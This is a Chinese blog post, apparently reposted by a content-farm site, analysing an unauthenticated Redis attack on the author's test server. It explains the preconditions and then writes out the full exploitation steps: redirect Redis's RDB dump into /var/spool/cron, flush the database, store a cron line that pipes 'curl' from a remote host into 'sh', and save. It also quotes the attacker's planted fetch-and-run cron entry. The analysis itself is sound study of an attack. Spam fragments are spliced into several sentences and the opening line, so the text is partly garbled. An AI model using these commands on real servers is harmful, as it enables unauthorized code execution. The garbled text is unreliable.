替换当前的 dump.rdb 再次重启这样就能恢复原龙本羊始的数据了 触发 RDB 的机制有以下几种 1 在指定的时间间隔内

摘要:前段时间自己使用 redis 开发的时候,搞了一个 docker ,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫


前段时间自己使用 redis 开发的时候,搞了一个 docker ,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫到然后给我种马,但是把因为也是测试服务,其实也没怎么上心,于是就放任自由了,结果第二天果然收到了一份新鲜的木马。然后简单对其入侵做了一个分析,结果发现没有能攻击成功,但是既然木马在了就简单看看吧。

0X01 简单回顾一下 redis 攻击的过程

1.攻击条件

(1)空密码并且允许外部直接连接

注:这一点其实有很多细节

因为在 3.2 以后有了保护模式,保护模式的作用就是在没有设置密码?并且?没有配置 bind 地址的时候强行只允许本机连接,但是对于绑定地址或者是配置过密码的服务来讲这一项可以忽略。

另外还有一个误区就是这个绑定地址不是绑定外部的地址,而是绑定自己服务器的允许作为与外部进行连接的 IP 地址,比如绑定自己服务器的外网 IP,小溪流免费红屠,或者绑定 127.0.0.1 或者绑定 0.0.0.0 ,这个绑定 0.0.0.0 就是绑定了自己服务器全部的 ip 地址(服务器可以有很多的 ip ,比如内网 ip 、回环 ip、外网 IP 等 ),因此其实对于一般的服务器来说,绑定自己的外网 ip 和直接绑定 0.0.0.0 是没区别的,不设置密码的情况下去绑定外网 ip 起不到任何的保护作用,返回会因为绑定了地址让保护模式失效遭受攻击。

说一句题外话就是:想要安全的话设置了空密码就要绑定内网地址,否则就老老实实设置密码

(2)使用 root 权限启动 redis

高权限用户启动的程序拥有和启动该程序用户一样的权限,这大大有利于攻击者在控制了 redis 之后借助这种高权限去修改高权限配置文件来完成攻击(不过现在高版本的 redis 启动默认都是 redis 权限了而不是原来的 root 权限)

对一次 redis 未授权写入攻击的分析以及学习

(3)redis 在没有保护措施的情况下也没有修改默认端口

默认端口是 6379 ,很容易被扫到

(4)补充

Ubuntu 下执行 crontab 使用的是 sh , 而 sh 软连接的是dash ,而不是 bash,那么如果你直接在 cron 里面写 bash - i xx 的反弹是不可能成功的,解决方法有两种,一种就是使用 Python 调用 /bin/sh 反弹 shell ,还有一种可以尝试写 sh 文件,然后用 cron 去执行

2.攻击利用的机制

redis 的攻击主要是利用 redis 的持久化存储 RDB 或者 AOF(默认不开启),所谓持久化就是一种快照机制,用来后期恢复数据。比如 RDB 可以在一定的条件下将当前内存的数存储进一个 dump.rdb 文件中,如果下次想恢复这个数据的话,就需要将这个文件放在 redis 的快照保存目录下,替换当前的 dump.rdb 再次重启这样就能恢复原始的数据了

触发 RDB 的机制有以下几种

1 在指定的时间间隔内,执行指定次数的写操作 ———–>可以通过配置文件进行设置

2 执行save(阻塞, 只管保存快照,其他的等待) 或者是bgsave (异步)命令 —-》手动保存

3 执行flushall 命令,清空数据库所有数据 —->清除全部 Key 同时也会清除当前rdb

4 执行shutdown 命令,保证服务器正常关闭且不丢失任何数据 ———->很好地保存数据不被清除

3.大概的攻击流程

(1)修改 redis 的 rdb 文件的存放路径为 root 用户的 crontab 配置文件

设置 dir 到定时任务目录

config set dir "/var/spool/cron"

设置持 rdb 文件名为root

config set dbfilename root

(2)使用 FLUSHALL 进行清除数据库

127.0.0.1:6379> flushall OK

这一步主要是想清除原始 root 文件的内容,也是为了避免不必要的格式错误

(3)在 redis 中写入我们的 cron 语句

127.0.0.1:6379> set test "\n*/10 * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh\n" OK 这里的换行符是为了实现写入时的格式良好,因为 cron 读取的时候是一行一行读取的,遇到格式不正确则丢弃

(4)强行触发 rdb 更新

127.0.0.1:6379> save

至此我们的 cron 的数据就写入到了 root 用户的 cron 文件夹中了

(5)总结:

除了可以写 cron 以外,写一个 一句话 webshell 也是可以的,其实可以清楚地看到,redis 的成功攻击除了依赖于 权限配置的失误以外,一句话 webshell 以及 cron 对格式要求的不严格也是一大重要因素。

0X02 再次回到这次的木马分析

攻击者也是一样,直接 flushall 了我的全部的 key,然后直接给我写一个名为 back 的 cron ,每一分钟从他的服务器上下载了一个脚本运行。

* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh

-f:不输出错误

-s: 静默不输出

-S: -s 条件下输出错误


本文地址:/wenhua/20190729/23899.html 转载请注明出处!
相关文章:
  1. [文化产业]即一次性安装灰槌 传送门之主一组工具集
  2. [文化产业]Redis高性能缓存私家侦探公司265007数据库面试题
  3. [专题专栏]在莫斯科州的一次突击检查路易艾玛行动中警方